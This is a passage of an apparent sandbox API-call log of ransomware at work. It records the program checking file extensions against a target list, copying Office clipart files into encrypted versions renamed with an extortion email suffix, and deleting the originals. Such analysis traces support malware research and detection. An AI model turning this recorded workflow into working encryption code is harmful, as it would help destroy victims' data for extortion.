(lpString1=".xlsx", lpString2="1.MID") returned -1 [0244.798] lstrlenW (lpString=".ppt") returned 4 [0244.798] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0244.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.799] lstrlenW (lpString=".zip") returned 4 [0244.799] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0244.799] lstrlenW (lpString=".rar") returned 4 [0244.799] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0244.799] lstrlenW (lpString=".bz2") returned 4 [0244.799] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0244.799] lstrlenW (lpString=".7z") returned 3 [0244.799] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0244.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.799] lstrlenW (lpString=".dbf") returned 4 [0244.799] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0244.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.799] lstrlenW (lpString=".1cd") returned 4 [0244.799] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0244.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68 [0244.799] lstrlenW (lpString=".jpg") returned 4 [0244.799] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0244.799] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0244.799] lstrlenW (lpString="INDST_01.MID") returned 12 [0244.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0244.934] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=8568) returned 1 [0244.934] CloseHandle (hObject=0x548) returned 1 [0244.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0245.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.423] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.424] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0247.426] GetLastError () returned 0x0 [0247.426] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2178, lpOverlapped=0x0) returned 1 [0247.431] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2180, lpOverlapped=0x0) returned 1 [0247.432] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.432] WriteFile (in: hFile=0x534, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.432] SetEndOfFile (hFile=0x534) returned 1 [0247.437] CloseHandle (hObject=0x534) returned 1 [0247.439] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.439] SetEndOfFile (hFile=0x450) returned 1 [0247.441] CloseHandle (hObject=0x450) returned 1 [0247.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0247.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.443] lstrlenW (lpString=".doc") returned 4 [0247.443] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.443] lstrlenW (lpString=".docx") returned 5 [0247.443] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.443] lstrlenW (lpString=".pdf") returned 4 [0247.443] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.443] lstrlenW (lpString=".xls") returned 4 [0247.443] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.443] lstrlenW (lpString=".xlsx") returned 5 [0247.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.444] lstrlenW (lpString=".ppt") returned 4 [0247.444] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString=".zip") returned 4 [0247.444] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.444] lstrlenW (lpString=".rar") returned 4 [0247.444] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.444] lstrlenW (lpString=".bz2") returned 4 [0247.444] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.444] lstrlenW (lpString=".7z") returned 3 [0247.444] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString=".dbf") returned 4 [0247.444] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString=".1cd") returned 4 [0247.444] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString=".jpg") returned 4 [0247.444] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.444] lstrlenW (lpString=".doc") returned 4 [0247.444] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.444] lstrlenW (lpString=".docx") returned 5 [0247.444] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0247.444] lstrlenW (lpString=".pdf") returned 4 [0247.445] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.445] lstrlenW (lpString=".xls") returned 4 [0247.445] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.445] lstrlenW (lpString=".xlsx") returned 5 [0247.445] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0247.445] lstrlenW (lpString=".ppt") returned 4 [0247.445] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.445] lstrlenW (lpString=".zip") returned 4 [0247.445] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.445] lstrlenW (lpString=".rar") returned 4 [0247.445] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.445] lstrlenW (lpString=".bz2") returned 4 [0247.445] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.445] lstrlenW (lpString=".7z") returned 3 [0247.445] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.445] lstrlenW (lpString=".dbf") returned 4 [0247.445] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.445] lstrlenW (lpString=".1cd") returned 4 [0247.445] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0247.445] lstrlenW (lpString=".jpg") returned 4 [0247.445] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.445] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.446] lstrlenW (lpString="PARNT_02.MID") returned 12 [0247.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.447] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=5714) returned 1 [0247.447] CloseHandle (hObject=0x450) returned 1 [0247.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 0x220 [0247.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.448] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.448] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0247.449] GetLastError () returned 0x0 [0247.449] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1652, lpOverlapped=0x0) returned 1 [0247.477] WriteFile (in: hFile=0x45c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1660, lpOverlapped=0x0) returned 1 [0247.479] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.479] WriteFile (in: hFile=0x45c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.479] SetEndOfFile (hFile=0x45c) returned 1 [0247.485] CloseHandle (hObject=0x45c) returned 1 [0247.489] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.489] SetEndOfFile (hFile=0x450) returned 1 [0247.498] CloseHandle (hObject=0x450) returned 1 [0247.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0247.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString=".doc") returned 4 [0247.500] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.500] lstrlenW (lpString=".docx") returned 5 [0247.500] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0247.500] lstrlenW (lpString=".pdf") returned 4 [0247.500] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.500] lstrlenW (lpString=".xls") returned 4 [0247.500] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.500] lstrlenW (lpString=".xlsx") returned 5 [0247.500] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0247.500] lstrlenW (lpString=".ppt") returned 4 [0247.500] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString=".zip") returned 4 [0247.500] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.500] lstrlenW (lpString=".rar") returned 4 [0247.500] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.500] lstrlenW (lpString=".bz2") returned 4 [0247.500] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.500] lstrlenW (lpString=".7z") returned 3 [0247.500] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString=".dbf") returned 4 [0247.500] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString=".1cd") returned 4 [0247.500] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString=".jpg") returned 4 [0247.500] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.501] lstrlenW (lpString=".doc") returned 4 [0247.501] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.501] lstrlenW (lpString=".docx") returned 5 [0247.501] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0247.501] lstrlenW (lpString=".pdf") returned 4 [0247.501] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.501] lstrlenW (lpString=".xls") returned 4 [0247.501] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.501] lstrlenW (lpString=".xlsx") returned 5 [0247.501] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0247.501] lstrlenW (lpString=".ppt") returned 4 [0247.501] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.501] lstrlenW (lpString=".zip") returned 4 [0247.501] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.501] lstrlenW (lpString=".rar") returned 4 [0247.501] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.501] lstrlenW (lpString=".bz2") returned 4 [0247.501] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.501] lstrlenW (lpString=".7z") returned 3 [0247.501] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.501] lstrlenW (lpString=".dbf") returned 4 [0247.501] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.501] lstrlenW (lpString=".1cd") returned 4 [0247.501] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 68 [0247.501] lstrlenW (lpString=".jpg") returned 4 [0247.501] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.502] lstrcmpiW (lpString1=".MID", lpString2=".love$") returned 1 [0247.502] lstrlenW (lpString="PARNT_04.MID") returned 12 [0247.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.502] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=6070) returned 1 [0247.502] CloseHandle (hObject=0x450) returned 1 [0247.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0247.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0247.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0247.503] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.503] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0247.505] GetLastError () returned 0x0 [0247.505] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x17b6, lpOverlapped=0x0) returned 1 [0247.508] WriteFile (in: hFile=0x548, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x17c0, lpOverlapped=0x0) returned 1 [0247.509] ReadFile (in: hFile=0x450, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0247.509] WriteFile (in: hFile=0x548, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xec, lpOverlapped=0x0) returned 1 [0247.509] SetEndOfFile (hFile=0x548) returned 1 [0247.509] CloseHandle (hObject=0x548) returned 1 [0247.509] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.509] SetEndOfFile (hFile=0x450) returned 1 [0247.520] CloseHandle (hObject=0x450) returned 1 [0247.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0247.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0247.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.548] lstrlenW (lpString=".doc") returned 4 [0247.548] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.548] lstrlenW (lpString=".docx") returned 5 [0247.548] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0247.548] lstrlenW (lpString=".pdf") returned 4 [0247.548] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.548] lstrlenW (lpString=".xls") returned 4 [0247.548] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.548] lstrlenW (lpString=".xlsx") returned 5 [0247.548] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0247.548] lstrlenW (lpString=".ppt") returned 4 [0247.548] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.548] lstrlenW (lpString=".zip") returned 4 [0247.548] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.548] lstrlenW (lpString=".rar") returned 4 [0247.548] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.548] lstrlenW (lpString=".bz2") returned 4 [0247.548] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.548] lstrlenW (lpString=".7z") returned 3 [0247.548] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.548] lstrlenW (lpString=".dbf") returned 4 [0247.548] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0247.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.548] lstrlenW (lpString=".1cd") returned 4 [0247.549] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString=".jpg") returned 4 [0247.549] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString=".doc") returned 4 [0247.549] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString=".docx") returned 5 [0247.549] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0247.549] lstrlenW (lpString=".pdf") returned 4 [0247.549] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0247.549] lstrlenW (lpString=".xls") returned 4 [0247.549] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0247.549] lstrlenW (lpString=".xlsx") returned 5 [0247.549] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0247.549] lstrlenW (lpString=".ppt") returned 4 [0247.549] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0247.549] lstrlenW (lpString=".zip") returned 4 [0247.549] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0247.549] lstrlenW (lpString=".rar") returned 4 [0247.549] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0247.549] lstrlenW (lpString=".bz2") returned 4 [0247.549] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0247.549] lstrlenW (lpString=".7z") returned 3 [0247.549] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0247.549] lstrlenW (lpString="C:\\Program Files\\Microsoft 